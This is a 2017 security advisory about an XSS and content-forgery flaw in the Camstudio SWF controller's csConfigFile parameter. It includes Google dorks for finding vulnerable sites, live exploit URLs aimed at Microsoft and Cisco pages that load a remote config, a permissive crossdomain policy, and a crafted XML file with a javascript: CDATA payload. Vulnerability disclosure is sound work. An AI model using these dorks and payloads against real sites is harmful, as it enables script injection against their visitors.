Camstudio 2.0 XSS / XSF / Content Forgery

2017.06.15
Credit: insecurity
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

______ ______ _____ ___ _____ _____ _____ | ___ \ | ___ \ | _ | |_ | | ___| / __ \ |_ _| | |_/ / | |_/ / | | | | | | | |__ | / \/ | | | __/ | / | | | | | | | __| | | | | | | | |\ \ \ \_/ / /\__/ / | |___ | \__/\ | | \_| \_| \_| \___/ \____/ \____/ \____/ \_/ _____ _ _ _____ _____ _____ _ _ ______ _____ _____ __ __ |_ _| | \ | | / ___| | ___| / __ \ | | | | | ___ \ |_ _| |_ _| \ \ / / | | | \| | \ `--. | |__ | / \/ | | | | | |_/ / | | | | \ V / | | | . ` | `--. \ | __| | | | | | | | / | | | | \ / _| |_ | |\ | /\__/ / | |___ | \__/\ | |_| | | |\ \ _| |_ | | | | \___/ \_| \_/ \____/ \____/ \____/ \___/ \_| \_| \___/ \_/ \_/ [+]---------------------------------------------------------[+] | Vulnerable Software: Camstudio 2.0 | | Vendor: https://camstudio.org | | Vulnerability Type: XSS, XSF, Content Forgery | | Date Released: 2017 | | Released by: MLT (@ret2libc) | [+]---------------------------------------------------------[+] There is a cross-site-scripting / cross-site-flashing vulnerability affecting Camstudio. It can allow an attacker to inject malicious SWF's into the vulnerable site in addition to having a use for content forgery and cross site scripting. Depending on the version of flash player in use by the victim, XSS via a malicious SWF may or may not be possible. In the case that it is not possible, an attacker can still inject javascript via CDATA although this requires additional user interaction. externalInterface.call can also be abused here for callback functionality. Vulnerable sites include: Microsoft, US Army, Cisco, Fedex, Bank of America, HP, Intel, Dell, Samsung and more. Almost quarter of a million sites in total are using this vulnerable software. To find sites that are vulnerable to this, the following Google dorks can be used: inurl:csConfigFile= filetype:swf inurl:controller filetype:swf the 'csConfigFile' HTTP GET paramater is the vulnerable param. Here is a live example of the vulnerability: https://www.microsoft.com/latam/Office/solutions/demos/ministerio/DemoMTrans_controller.swf?csConfigFile=//zeroday.insecurity.zone/camtasia.xml http://www.cisco.com/web/KR/events/webcast/video/controller.swf?csConfigFile=//zeroday.insecurity.zone/camtasia.xml The URL's above show you how a malicious SWF can be loaded from a remote source (this can be used to execute javascript). To execute the javascript, just click on the informtation box then click where it says 'click me' In order to exploit this vulnerability, the attacker must have a correctly configured crossdomain policy running on the same server that they are hosting the malicious XML file. Here is an example crossdomain policy: ------------------------------------------------------------------------------------------------------------- <?xml version="1.0"?> <!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"> <cross-domain-policy> <site-control permitted-cross-domain-policies="all"/> <allow-access-from domain="*" secure="false"/> <allow-http-request-headers-from domain="*" headers="*" secure="false"/> </cross-domain-policy> ------------------------------------------------------------------------------------------------------------- In addition to their crossdomain policy, an attacker must make a specially crafted XML file with some injected HTML via Character Data (![CDATA[]]) - In the case that an older version of flash player is used, then it isn't necessary to do this via CDATA but it can be instead be done via loading a malicious SWF (containing the JS to be executed) from a remote source. Here is an example of what an attackers crafted XML file would look like: ------------------------------------------------------------------------------------------------------------- <config> <AutoStart>1</AutoStart> <MovieWidth>640</MovieWidth> <MovieHeight>460</MovieHeight> <BackgroundColor>FFFFFF</BackgroundColor> <MovieURL>paydotgov-demo.swf</MovieURL> <ShowLoadingMov>0</ShowLoadingMov> <LoadingMovURL></LoadingMovURL> <ScaleLoadingMov>1</ScaleLoadingMov> <LoadingMovPercentToLoad>50</LoadingMovPercentToLoad> <LoadingMovMinDuration>3</LoadingMovMinDuration> <ControllerColor>C0C0C0</ControllerColor> <ShowFFRW>1</ShowFFRW> <ShowAbout>1</ShowAbout> <AboutBoxText><![CDATA[<a href=javascript:alert(document.domain)>Click me</a>]]> </AboutBoxText> <TimeDisplayFormat>MM:SS</TimeDisplayFormat> <ShowDuration>1</ShowDuration> <ShowElapsedTime>1</ShowElapsedTime> <TimeDisplayFont>Arial</TimeDisplayFont> <TimeDisplayFontColor>000000</TimeDisplayFontColor> </config> ------------------------------------------------------------------------------------------------------------- For an attacker to call exterenalInterface.call, this can be done by loading the values in <MovieURL> within their malicious XML file How to fix: In order to fix this, system administrators should be performing proper input sanatization although this can be mitigated without doing so (I'd suggest performing input sanatization anyway as the underlying issue will still remain if you opt for a quick fix) - Simply correct your site's crossdomain policy to disallow script access from remote domains. [+]---------------------------------------------------------[+] | CONTACT US: | | | | IRC: irc.insecurity.zone (6667/6697) #insecurity | | Twitter: @insecurity | | Website: insecurity.zone | [+]---------------------------------------------------------[+]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top